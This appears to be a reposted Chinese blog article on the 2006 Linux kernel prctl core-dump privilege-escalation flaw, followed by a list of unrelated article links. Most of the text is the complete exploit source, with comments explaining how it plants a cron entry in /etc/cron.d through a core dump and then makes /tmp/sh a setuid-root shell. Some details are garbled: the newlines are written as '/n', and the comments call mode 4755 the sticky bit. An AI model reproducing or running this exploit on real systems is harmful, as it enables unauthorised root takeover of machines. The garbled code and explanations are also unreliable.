linux一个漏洞的分析
来源:互联网 发布:w10打开软件防火墙 编辑:程序博客网 时间:2024/05/27 06:52
程序最早是国外的大佬写的。这个漏洞的原理非常简单,就是利用coredump的时候,可以在/etc/cron.d目录下生成core文件。
而在/etc/cron.d目录下的文件,crontab会定时以指定的用户权限来执行。如果在core文件中,指定用户权限是root,那么
就能够以我们希望的方式来运行所有的程序了。
下面就程序进行分析。
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh /n";
/* 在coredump生成的core文件中,就会出现payload的字符。也就是说,在core文件中,会有下面的几行文件。
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh
最后一行,如果熟悉crontab的配置,就知道这是crontab的文件格式,每分钟以root的身份执行一次后面的代码。
注意最后的chmod 4755 /tmp/sh,4755是标准的粘连位的设置。这样,任何执行/tmp/sh都将获得root权限。
*/
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
printf("By: dreyer & RoMaNSoFt/n");
printf("[ 10.Jul.2006 ]/n/n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/*用setrlimit使得生成core文件的大小不受限制,这个函数改变linux kernel对于一些资源的限制*/
printf("Creating Cron entry/n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
/*改变目录,使生成的文件在/etc/cron.d目录下*/
prctl(PR_SET_DUMPABLE, 2);
/*使内核可以生成core文件*/
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
/*使child process core dump*/
printf("Sleeping for aprox. one minute (** please wait **)/n");
sleep(62);
/*等待crontab去运行生成的core 文件*/
printf("Running shell (remember to remove /tmp/sh when finished) .../n");
system("/tmp/sh -p");
/*运行/tmp/sh,由于/tmp/sh所有人是root,设置了粘连位,所以任何运行此程序的人都将获得root权限*/
}
结束以后,请记得删除/etc/cron.d/目录下的core文件,和/tmp/sh文件。
- linux一个漏洞的分析
- 一个应该注意的分析点----目录遍历漏洞
- tomcat的一个漏洞
- LocalStorage 的一个漏洞
- NULL指针引起的一个linux内核漏洞
- NULL指针引起的一个linux内核漏洞
- linux的漏洞!
- 后台网站的漏洞分析
- 漏洞分析---关于OpenSSL“心脏出血”漏洞的分析
- BBSXP2007的一个漏洞公告
- tomcat3.1的一个漏洞
- 原php168的一个漏洞
- Tencent qmail 的一个漏洞
- 深入浅出 分析Linux系统内核漏洞问题
- 微信私钥泄露的危害:一个微信公众号漏洞案例分析 201608152
- 一个利用“永恒之蓝”漏洞传播的挖矿程序分析
- udp_sendmsg漏洞(三)--漏洞利用的源码及分析
- [漏洞分析] ProjectSend r561中SQL注入漏洞的浅析
- VC利用GDI+显示透明的PNG图片
- 开通了
- 浅析Win 2000中的NTLM安全策略
- jQuery-text()与val()方法区别 学习笔记六
- strust2实践总结
- linux一个漏洞的分析
- VC++6.0调试篇:运行时间的观察--watch窗口的技巧续
- mysql 远程登录修改方法
- vim详细手册
- sqlserver sp_msforeachtable用法
- 我的职业观——HP大中华区总裁孙振耀退休感言
- 恋爱婚姻法则与职场规则
- JS设计模式(三)
- Windows DOS命令